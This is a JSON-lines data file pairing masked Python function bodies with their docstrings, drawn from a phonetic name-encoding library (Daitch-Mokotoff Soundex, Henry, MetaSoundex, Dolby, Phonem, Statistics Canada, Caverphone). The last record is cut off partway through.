{"signature": "def _prod(nums):", "body": "return reduce(mul, nums, <NUM_LIT:1>)<EOL>", "docstring": "r\"\"\"Return the product of nums.\n\n    The product is :math:`\\prod nums`.\n\n    Cf. https://en.wikipedia.org/wiki/Product_(mathematics)\n\n    Parameters\n    ----------\n    nums : list\n        A collection (list, tuple, set, etc.) of numbers\n\n    Returns\n    -------\n    numeric\n        The product of a nums\n\n    Examples\n    --------\n    >>> _prod([1,1,1,1])\n    1\n    >>> _prod((2,4,8))\n    64\n    >>> _prod({1,2,3,4})\n    24\n    >>> _prod(2**i for i in range(5))\n    1024", "id": "f6572:m0"}
{"signature": "def dm_soundex(word, max_length=<NUM_LIT:6>, zero_pad=True):", "body": "return DaitchMokotoff().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the Daitch-Mokotoff Soundex code for a word.\n\n    This is a wrapper for :py:meth:`DaitchMokotoff.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 6; must be between 6 and\n        64)\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The Daitch-Mokotoff Soundex value\n\n    Examples\n    --------\n    >>> sorted(dm_soundex('Christopher'))\n    ['494379', '594379']\n    >>> dm_soundex('Niall')\n    {'680000'}\n    >>> dm_soundex('Smith')\n    {'463000'}\n    >>> dm_soundex('Schmidt')\n    {'463000'}\n\n    >>> sorted(dm_soundex('The quick brown fox', max_length=20,\n    ... zero_pad=False))\n    ['35457976754', '3557976754']", "id": "f6574:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:6>, zero_pad=True):", "body": "dms = ['<STR_LIT>']  <EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = min(max(<NUM_LIT:6>, max_length), <NUM_LIT:64>)<EOL><DEDENT>else:<EOL><INDENT>max_length = <NUM_LIT:64><EOL><DEDENT>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if not word:<EOL><INDENT>if zero_pad:<EOL><INDENT>return {'<STR_LIT:0>' * max_length}<EOL><DEDENT>return {'<STR_LIT:0>'}<EOL><DEDENT>pos = <NUM_LIT:0><EOL>while pos < len(word):<EOL><INDENT>for sstr in self._dms_order[word[pos]]:  <EOL><INDENT>if word[pos:].startswith(sstr):<EOL><INDENT>dm_val = self._dms_table[sstr]<EOL>if pos == <NUM_LIT:0>:<EOL><INDENT>dm_val = dm_val[<NUM_LIT:0>]<EOL><DEDENT>elif (<EOL>pos + len(sstr) < len(word)<EOL>and word[pos + len(sstr)] in self._uc_v_set<EOL>):<EOL><INDENT>dm_val = dm_val[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>dm_val = dm_val[<NUM_LIT:2>]<EOL><DEDENT>if isinstance(dm_val, tuple):<EOL><INDENT>dms = [_ + text_type(dm_val[<NUM_LIT:0>]) for _ in dms] + [<EOL>_ + text_type(dm_val[<NUM_LIT:1>]) for _ in dms<EOL>]<EOL><DEDENT>else:<EOL><INDENT>dms = [_ + text_type(dm_val) for _ in dms]<EOL><DEDENT>pos += len(sstr)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>dms = (<EOL>'<STR_LIT>'.join(c for c in self._delete_consecutive_repeats(_) if c != '<STR_LIT:_>')<EOL>for _ in dms<EOL>)<EOL>if zero_pad:<EOL><INDENT>dms = ((_ + ('<STR_LIT:0>' * max_length))[:max_length] for _ in dms)<EOL><DEDENT>else:<EOL><INDENT>dms = (_[:max_length] for _ in dms)<EOL><DEDENT>return set(dms)<EOL>", "docstring": "Return the Daitch-Mokotoff Soundex code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 6; must be between 6\n            and 64)\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The Daitch-Mokotoff Soundex value\n\n        Examples\n        --------\n        >>> pe = DaitchMokotoff()\n        >>> sorted(pe.encode('Christopher'))\n        ['494379', '594379']\n        >>> pe.encode('Niall')\n        {'680000'}\n        >>> pe.encode('Smith')\n        {'463000'}\n        >>> pe.encode('Schmidt')\n        {'463000'}\n\n        >>> sorted(pe.encode('The quick brown fox', max_length=20,\n        ... zero_pad=False))\n        ['35457976754', '3557976754']", "id": "f6574:c0:m0"}
{"signature": "def henry_early(word, max_length=<NUM_LIT:3>):", "body": "return HenryEarly().encode(word, max_length)<EOL>", "docstring": "Calculate the early version of the Henry code for a word.\n\n    This is a wrapper for :py:meth:`HenryEarly.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 3)\n\n    Returns\n    -------\n    str\n        The early Henry code\n\n    Examples\n    --------\n    >>> henry_early('Marchand')\n    'MRC'\n    >>> henry_early('Beaulieu')\n    'BL'\n    >>> henry_early('Beaumont')\n    'BM'\n    >>> henry_early('Legrand')\n    'LGR'\n    >>> henry_early('Pelletier')\n    'PLT'", "id": "f6575:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:3>):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if not word:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if word[<NUM_LIT:0>] in self._uc_vy_set:<EOL><INDENT>if (<EOL>word[<NUM_LIT:1>:<NUM_LIT:2>] in self._uc_c_set - {'<STR_LIT:M>', '<STR_LIT:N>'}<EOL>and word[<NUM_LIT:2>:<NUM_LIT:3>] in self._uc_c_set<EOL>) or (<EOL>word[<NUM_LIT:1>:<NUM_LIT:2>] in self._uc_c_set and word[<NUM_LIT:2>:<NUM_LIT:3>] not in self._uc_c_set<EOL>):<EOL><INDENT>if word[<NUM_LIT:0>] == '<STR_LIT:Y>':<EOL><INDENT>word = '<STR_LIT:I>' + word[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>elif word[<NUM_LIT:1>:<NUM_LIT:2>] in {'<STR_LIT:M>', '<STR_LIT:N>'} and word[<NUM_LIT:2>:<NUM_LIT:3>] in self._uc_c_set:<EOL><INDENT>if word[<NUM_LIT:0>] == '<STR_LIT:E>':<EOL><INDENT>word = '<STR_LIT:A>' + word[<NUM_LIT:1>:]<EOL><DEDENT>elif word[<NUM_LIT:0>] in {'<STR_LIT:I>', '<STR_LIT>', '<STR_LIT:Y>'}:<EOL><INDENT>word = '<STR_LIT:E>' + word[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>elif word[:<NUM_LIT:2>] in self._diph:<EOL><INDENT>word = self._diph[word[:<NUM_LIT:2>]] + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[<NUM_LIT:1>:<NUM_LIT:2>] in self._uc_vy_set and word[<NUM_LIT:0>] == '<STR_LIT:Y>':<EOL><INDENT>word = '<STR_LIT:I>' + word[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:0><EOL>for pos, char in enumerate(word):<EOL><INDENT>nxch = word[pos + <NUM_LIT:1> : pos + <NUM_LIT:2>]<EOL>prev = word[pos - <NUM_LIT:1> : pos]<EOL>if skip:<EOL><INDENT>skip -= <NUM_LIT:1><EOL><DEDENT>elif char in self._uc_vy_set:<EOL><INDENT>code += char<EOL><DEDENT>elif char == nxch:<EOL><INDENT>skip = <NUM_LIT:1><EOL>code += char<EOL><DEDENT>elif word[pos : pos + <NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>continue<EOL><DEDENT>elif char in self._simple:<EOL><INDENT>code += self._simple[char]<EOL><DEDENT>elif char in {'<STR_LIT:C>', '<STR_LIT>', '<STR_LIT:P>', '<STR_LIT>', '<STR_LIT:S>'}:<EOL><INDENT>if char == '<STR_LIT:C>':<EOL><INDENT>if nxch in {'<STR_LIT:A>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT:L>', '<STR_LIT:R>'}:<EOL><INDENT>code += '<STR_LIT>'<EOL><DEDENT>elif nxch in {'<STR_LIT:E>', '<STR_LIT:I>', '<STR_LIT:Y>'}:<EOL><INDENT>code += '<STR_LIT:S>'<EOL><DEDENT>elif nxch == '<STR_LIT:H>':<EOL><INDENT>if word[pos + <NUM_LIT:2> : pos + <NUM_LIT:3>] in self._uc_vy_set:<EOL><INDENT>code += '<STR_LIT:C>'<EOL><DEDENT>else:  <EOL><INDENT>code += '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>code += '<STR_LIT:C>'<EOL><DEDENT><DEDENT>elif char == '<STR_LIT>':<EOL><INDENT>if nxch in {'<STR_LIT:A>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT:L>', '<STR_LIT:R>'}:<EOL><INDENT>code += '<STR_LIT>'<EOL><DEDENT>elif nxch in {'<STR_LIT:E>', '<STR_LIT:I>', '<STR_LIT:Y>'}:<EOL><INDENT>code += '<STR_LIT>'<EOL><DEDENT>elif nxch == '<STR_LIT:N>':<EOL><INDENT>code += '<STR_LIT:N>'<EOL><DEDENT><DEDENT>elif char == '<STR_LIT:P>':<EOL><INDENT>if nxch != '<STR_LIT:H>':<EOL><INDENT>code += '<STR_LIT:P>'<EOL><DEDENT>else:<EOL><INDENT>code += '<STR_LIT:F>'<EOL><DEDENT><DEDENT>elif char == '<STR_LIT>':<EOL><INDENT>if word[pos + <NUM_LIT:1> : pos + <NUM_LIT:3>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>code += '<STR_LIT>'<EOL><DEDENT>else:  <EOL><INDENT>code += '<STR_LIT>'<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>if word[pos : pos + <NUM_LIT:6>] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT:X>'<EOL>skip = <NUM_LIT:5><EOL><DEDENT>elif word[pos : pos + <NUM_LIT:5>] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT:X>'<EOL>skip = <NUM_LIT:4><EOL><DEDENT>elif word[pos : pos + <NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT:X>'<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif word[pos : pos + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT:X>'<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif nxch in self._uc_c_set:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>code += '<STR_LIT:S>'<EOL><DEDENT><DEDENT><DEDENT>elif char == '<STR_LIT:H>' and prev in self._uc_c_set:<EOL><INDENT>continue<EOL><DEDENT>elif char in self._uc_c_set - {<EOL>'<STR_LIT:L>',<EOL>'<STR_LIT:R>',<EOL>} and nxch in self._uc_c_set - {'<STR_LIT:L>', '<STR_LIT:R>'}:<EOL><INDENT>continue<EOL><DEDENT>elif char == '<STR_LIT:L>' and nxch in {'<STR_LIT:M>', '<STR_LIT:N>'}:<EOL><INDENT>continue<EOL><DEDENT>elif (<EOL>char in {'<STR_LIT:M>', '<STR_LIT:N>'}<EOL>and prev in self._uc_vy_set<EOL>and nxch in self._uc_c_set<EOL>):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>code += char<EOL><DEDENT><DEDENT>if code[-<NUM_LIT:4>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>code = code[:-<NUM_LIT:2>]<EOL><DEDENT>elif code[-<NUM_LIT:2>:-<NUM_LIT:1>] == '<STR_LIT:R>' and code[-<NUM_LIT:1>:] in self._uc_c_set:<EOL><INDENT>code = code[:-<NUM_LIT:1>]<EOL><DEDENT>elif code[-<NUM_LIT:2>:-<NUM_LIT:1>] in self._uc_vy_set and code[-<NUM_LIT:1>:] in {<EOL>'<STR_LIT:D>',<EOL>'<STR_LIT:M>',<EOL>'<STR_LIT:N>',<EOL>'<STR_LIT:S>',<EOL>'<STR_LIT:T>',<EOL>}:<EOL><INDENT>code = code[:-<NUM_LIT:1>]<EOL><DEDENT>elif code[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>code = code[:-<NUM_LIT:1>]<EOL><DEDENT>code = code[:<NUM_LIT:1>] + code[<NUM_LIT:1>:].translate(<EOL>{<NUM_LIT>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>'}<EOL>)<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>code = code[:max_length]<EOL><DEDENT>return code<EOL>", "docstring": "Calculate the early version of the Henry code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 3)\n\n        Returns\n        -------\n        str\n            The early Henry code\n\n        Examples\n        --------\n        >>> henry_early('Marchand')\n        'MRC'\n        >>> henry_early('Beaulieu')\n        'BL'\n        >>> henry_early('Beaumont')\n        'BM'\n        >>> henry_early('Legrand')\n        'LGR'\n        >>> henry_early('Pelletier')\n        'PLT'", "id": "f6575:c0:m0"}
{"signature": "def metasoundex(word, lang='<STR_LIT>'):", "body": "return MetaSoundex().encode(word, lang)<EOL>", "docstring": "Return the MetaSoundex code for a word.\n\n    This is a wrapper for :py:meth:`MetaSoundex.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    lang : str\n        Either ``en`` for English or ``es`` for Spanish\n\n    Returns\n    -------\n    str\n        The MetaSoundex code\n\n    Examples\n    --------\n    >>> metasoundex('Smith')\n    '4500'\n    >>> metasoundex('Waters')\n    '7362'\n    >>> metasoundex('James')\n    '1520'\n    >>> metasoundex('Schmidt')\n    '4530'\n    >>> metasoundex('Ashcroft')\n    '0261'\n    >>> metasoundex('Perez', lang='es')\n    '094'\n    >>> metasoundex('Martinez', lang='es')\n    '69364'\n    >>> metasoundex('Gutierrez', lang='es')\n    '83994'\n    >>> metasoundex('Santiago', lang='es')\n    '4638'\n    >>> metasoundex('Nicol\u00e1s', lang='es')\n    '6754'", "id": "f6576:m0"}
{"signature": "def encode(self, word, lang='<STR_LIT>'):", "body": "if lang == '<STR_LIT>':<EOL><INDENT>return self._phonetic_spanish.encode(<EOL>self._spanish_metaphone.encode(word)<EOL>)<EOL><DEDENT>word = self._soundex.encode(self._metaphone.encode(word))<EOL>word = word[<NUM_LIT:0>].translate(self._trans) + word[<NUM_LIT:1>:]<EOL>return word<EOL>", "docstring": "Return the MetaSoundex code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        lang : str\n            Either ``en`` for English or ``es`` for Spanish\n\n        Returns\n        -------\n        str\n            The MetaSoundex code\n\n        Examples\n        --------\n        >>> pe = MetaSoundex()\n        >>> pe.encode('Smith')\n        '4500'\n        >>> pe.encode('Waters')\n        '7362'\n        >>> pe.encode('James')\n        '1520'\n        >>> pe.encode('Schmidt')\n        '4530'\n        >>> pe.encode('Ashcroft')\n        '0261'\n        >>> pe.encode('Perez', lang='es')\n        '094'\n        >>> pe.encode('Martinez', lang='es')\n        '69364'\n        >>> pe.encode('Gutierrez', lang='es')\n        '83994'\n        >>> pe.encode('Santiago', lang='es')\n        '4638'\n        >>> pe.encode('Nicol\u00e1s', lang='es')\n        '6754'", "id": "f6576:c0:m0"}
{"signature": "def dolby(word, max_length=-<NUM_LIT:1>, keep_vowels=False, vowel_char='<STR_LIT:*>'):", "body": "return Dolby().encode(word, max_length, keep_vowels, vowel_char)<EOL>", "docstring": "r\"\"\"Return the Dolby Code of a name.\n\n    This is a wrapper for :py:meth:`Dolby.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        Maximum length of the returned Dolby code -- this also activates the\n        fixed-length code mode if it is greater than 0\n    keep_vowels : bool\n        If True, retains all vowel markers\n    vowel_char : str\n        The vowel marker character (default to \\*)\n\n    Returns\n    -------\n    str\n        The Dolby Code\n\n    Examples\n    --------\n    >>> dolby('Hansen')\n    'H*NSN'\n    >>> dolby('Larsen')\n    'L*RSN'\n    >>> dolby('Aagaard')\n    '*GR'\n    >>> dolby('Braaten')\n    'BR*DN'\n    >>> dolby('Sandvik')\n    'S*NVK'\n    >>> dolby('Hansen', max_length=6)\n    'H*NS*N'\n    >>> dolby('Larsen', max_length=6)\n    'L*RS*N'\n    >>> dolby('Aagaard', max_length=6)\n    '*G*R  '\n    >>> dolby('Braaten', max_length=6)\n    'BR*D*N'\n    >>> dolby('Sandvik', max_length=6)\n    'S*NF*K'\n\n    >>> dolby('Smith')\n    'SM*D'\n    >>> dolby('Waters')\n    'W*DRS'\n    >>> dolby('James')\n    'J*MS'\n    >>> dolby('Schmidt')\n    'SM*D'\n    >>> dolby('Ashcroft')\n    '*SKRFD'\n    >>> dolby('Smith', max_length=6)\n    'SM*D  '\n    >>> dolby('Waters', max_length=6)\n    'W*D*RS'\n    >>> dolby('James', max_length=6)\n    'J*M*S '\n    >>> dolby('Schmidt', max_length=6)\n    'SM*D  '\n    >>> dolby('Ashcroft', max_length=6)\n    '*SKRFD'", "id": "f6577:m0"}
{"signature": "def encode(self, word, max_length=-<NUM_LIT:1>, keep_vowels=False, vowel_char='<STR_LIT:*>'):", "body": "<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if word[:<NUM_LIT:3>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:3>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>pos = len(word) - <NUM_LIT:2><EOL>while pos > -<NUM_LIT:1>:<EOL><INDENT>if word[pos : pos + <NUM_LIT:2>] in {<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>}:<EOL><INDENT>word = word[: pos + <NUM_LIT:1>] + word[pos + <NUM_LIT:2> :]<EOL>pos += <NUM_LIT:1><EOL><DEDENT>pos -= <NUM_LIT:1><EOL><DEDENT>word = word.replace('<STR_LIT:X>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>pos = word.find('<STR_LIT>', <NUM_LIT:1>)<EOL>while pos != -<NUM_LIT:1>:<EOL><INDENT>if word[pos - <NUM_LIT:1> : pos] not in self._uc_vy_set:<EOL><INDENT>word = word[:pos] + '<STR_LIT:S>' + word[pos + <NUM_LIT:1> :]<EOL><DEDENT>pos = word.find('<STR_LIT>', pos + <NUM_LIT:1>)<EOL><DEDENT>word = word.replace('<STR_LIT:C>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:S>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:R>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT:T>', '<STR_LIT:D>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT:F>')<EOL>pos = word.find('<STR_LIT>', <NUM_LIT:0>)<EOL>while pos != -<NUM_LIT:1>:<EOL><INDENT>if pos > <NUM_LIT:1> and word[pos - <NUM_LIT:1> : pos] not in self._uc_vy_set | {<EOL>'<STR_LIT:L>',<EOL>'<STR_LIT:N>',<EOL>'<STR_LIT:R>',<EOL>}:<EOL><INDENT>word = word[: pos - <NUM_LIT:1>] + word[pos:]<EOL>pos -= <NUM_LIT:1><EOL><DEDENT>pos = word.find('<STR_LIT>', pos + <NUM_LIT:1>)<EOL><DEDENT>if max_length > <NUM_LIT:0> and word[-<NUM_LIT:1>:] == '<STR_LIT:E>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>word = self._delete_consecutive_repeats(word)<EOL>if word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[<NUM_LIT:1>:]<EOL><DEDENT>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>if word[-<NUM_LIT:3>:-<NUM_LIT:2>] in self._uc_vy_set:<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:F>'<EOL><DEDENT>else:<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT>'<EOL><DEDENT><DEDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if max_length > <NUM_LIT:0>:<EOL><INDENT>word = word.replace('<STR_LIT>', '<STR_LIT:F>')<EOL><DEDENT>first = <NUM_LIT:1> + (<NUM_LIT:1> if max_length > <NUM_LIT:0> else <NUM_LIT:0>)<EOL>code = '<STR_LIT>'<EOL>for pos, char in enumerate(word):<EOL><INDENT>if char in self._uc_vy_set:<EOL><INDENT>if first or keep_vowels:<EOL><INDENT>code += vowel_char<EOL>first -= <NUM_LIT:1><EOL><DEDENT><DEDENT>elif pos > <NUM_LIT:0> and char in {'<STR_LIT>', '<STR_LIT:H>'}:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>code += char<EOL><DEDENT><DEDENT>if max_length > <NUM_LIT:0>:<EOL><INDENT>if len(code) > max_length and code[-<NUM_LIT:1>:] == '<STR_LIT:S>':<EOL><INDENT>code = code[:-<NUM_LIT:1>]<EOL><DEDENT>if keep_vowels:<EOL><INDENT>code = code[:max_length]<EOL><DEDENT>else:<EOL><INDENT>code = code[: max_length + <NUM_LIT:2>]<EOL>while len(code) > max_length:<EOL><INDENT>vowels = len(code) - max_length<EOL>excess = vowels - <NUM_LIT:1><EOL>word = code<EOL>code = '<STR_LIT>'<EOL>for char in word:<EOL><INDENT>if char == vowel_char:<EOL><INDENT>if vowels:<EOL><INDENT>code += char<EOL>vowels -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>code += char<EOL><DEDENT><DEDENT>code = code[: max_length + excess]<EOL><DEDENT><DEDENT>code += '<STR_LIT:U+0020>' * (max_length - len(code))<EOL><DEDENT>return code<EOL>", "docstring": "r\"\"\"Return the Dolby Code of a name.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            Maximum length of the returned Dolby code -- this also activates\n            the fixed-length code mode if it is greater than 0\n        keep_vowels : bool\n            If True, retains all vowel markers\n        vowel_char : str\n            The vowel marker character (default to \\*)\n\n        Returns\n        -------\n        str\n            The Dolby Code\n\n        Examples\n        --------\n        >>> pe = Dolby()\n        >>> pe.encode('Hansen')\n        'H*NSN'\n        >>> pe.encode('Larsen')\n        'L*RSN'\n        >>> pe.encode('Aagaard')\n        '*GR'\n        >>> pe.encode('Braaten')\n        'BR*DN'\n        >>> pe.encode('Sandvik')\n        'S*NVK'\n        >>> pe.encode('Hansen', max_length=6)\n        'H*NS*N'\n        >>> pe.encode('Larsen', max_length=6)\n        'L*RS*N'\n        >>> pe.encode('Aagaard', max_length=6)\n        '*G*R  '\n        >>> pe.encode('Braaten', max_length=6)\n        'BR*D*N'\n        >>> pe.encode('Sandvik', max_length=6)\n        'S*NF*K'\n\n        >>> pe.encode('Smith')\n        'SM*D'\n        >>> pe.encode('Waters')\n        'W*DRS'\n        >>> pe.encode('James')\n        'J*MS'\n        >>> pe.encode('Schmidt')\n        'SM*D'\n        >>> pe.encode('Ashcroft')\n        '*SKRFD'\n        >>> pe.encode('Smith', max_length=6)\n        'SM*D  '\n        >>> pe.encode('Waters', max_length=6)\n        'W*D*RS'\n        >>> pe.encode('James', max_length=6)\n        'J*M*S '\n        >>> pe.encode('Schmidt', max_length=6)\n        'SM*D  '\n        >>> pe.encode('Ashcroft', max_length=6)\n        '*SKRFD'", "id": "f6577:c0:m0"}
{"signature": "def phonem(word):", "body": "return Phonem().encode(word)<EOL>", "docstring": "Return the Phonem code for a word.\n\n    This is a wrapper for :py:meth:`Phonem.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The Phonem value\n\n    Examples\n    --------\n    >>> phonem('Christopher')\n    'CRYSDOVR'\n    >>> phonem('Niall')\n    'NYAL'\n    >>> phonem('Smith')\n    'SMYD'\n    >>> phonem('Schmidt')\n    'CMYD'", "id": "f6578:m0"}
{"signature": "def encode(self, word):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>for i, j in self._substitutions:<EOL><INDENT>word = word.replace(i, j)<EOL><DEDENT>word = word.translate(self._trans)<EOL>return '<STR_LIT>'.join(<EOL>c<EOL>for c in self._delete_consecutive_repeats(word)<EOL>if c in self._uc_set<EOL>)<EOL>", "docstring": "Return the Phonem code for a word.\n\n        Parameters\n        ----------\n        word : str\n        The word to transform\n\n        Returns\n        -------\n        str\n            The Phonem value\n\n        Examples\n        --------\n        >>> pe = Phonem()\n        >>> pe.encode('Christopher')\n        'CRYSDOVR'\n        >>> pe.encode('Niall')\n        'NYAL'\n        >>> pe.encode('Smith')\n        'SMYD'\n        >>> pe.encode('Schmidt')\n        'CMYD'", "id": "f6578:c0:m0"}
{"signature": "def statistics_canada(word, max_length=<NUM_LIT:4>):", "body": "return StatisticsCanada().encode(word, max_length)<EOL>", "docstring": "Return the Statistics Canada code for a word.\n\n    This is a wrapper for :py:meth:`StatisticsCanada.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The maximum length (default 4) of the code to return\n\n    Returns\n    -------\n    str\n        The Statistics Canada name code value\n\n    Examples\n    --------\n    >>> statistics_canada('Christopher')\n    'CHRS'\n    >>> statistics_canada('Niall')\n    'NL'\n    >>> statistics_canada('Smith')\n    'SMTH'\n    >>> statistics_canada('Schmidt')\n    'SCHM'", "id": "f6579:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:4>):", "body": "<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if not word:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>code = word[<NUM_LIT:1>:]<EOL>for vowel in self._uc_vy_set:<EOL><INDENT>code = code.replace(vowel, '<STR_LIT>')<EOL><DEDENT>code = word[<NUM_LIT:0>] + code<EOL>code = self._delete_consecutive_repeats(code)<EOL>code = code.replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>return code[:max_length]<EOL>", "docstring": "Return the Statistics Canada code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The maximum length (default 4) of the code to return\n\n        Returns\n        -------\n        str\n            The Statistics Canada name code value\n\n        Examples\n        --------\n        >>> pe = StatisticsCanada()\n        >>> pe.encode('Christopher')\n        'CHRS'\n        >>> pe.encode('Niall')\n        'NL'\n        >>> pe.encode('Smith')\n        'SMTH'\n        >>> pe.encode('Schmidt')\n        'SCHM'", "id": "f6579:c0:m0"}
{"signature": "def caverphone(word, version=<NUM_LIT:2>):", "body": "return Caverphone().encode(word, version)<EOL>", "docstring": "Return the Caverphone code for a word.\n\n    This is a wrapper for :py:meth:`Caverphone.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    version : int\n        The version of Caverphone to employ for encoding (defaults to 2)\n\n    Returns\n    -------\n    str\n        The Caverphone value\n\n    Examples\n    --------\n    >>> caverphone('Christopher')\n    'KRSTFA1111'\n    >>> caverphone('Niall')\n    'NA11111111'\n    >>> caverphone('Smith')\n    'SMT1111111'\n    >>> caverphone('Schmidt')\n    'SKMT111111'\n\n    >>> caverphone('Christopher', 1)\n    'KRSTF1'\n    >>> caverphone('Niall', 1)\n    'N11111'\n    >>> caverphone('Smith', 1)\n    'SMT111'\n    >>> caverphone('Schmidt', 1)\n    'SKMT11'", "id": "f6581:m0"}
{"signature": "def encode(self, word, version=<NUM_LIT:2>):", "body": "word = word.lower()<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._lc_set)<EOL>def _squeeze_replace(word, char):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>while char * <NUM_LIT:2> in word:<EOL><INDENT>word = word.replace(char * <NUM_LIT:2>, char)<EOL><DEDENT>return word.replace(char, char.upper())<EOL><DEDENT>if version != <NUM_LIT:1> and word[-<NUM_LIT:1>:] == '<STR_LIT:e>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>if word:<EOL><INDENT>if word[:<NUM_LIT:5>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:5>:]<EOL><DEDENT>if word[:<NUM_LIT:5>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:5>:]<EOL><DEDENT>if word[:<NUM_LIT:5>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:5>:]<EOL><DEDENT>if word[:<NUM_LIT:6>] == 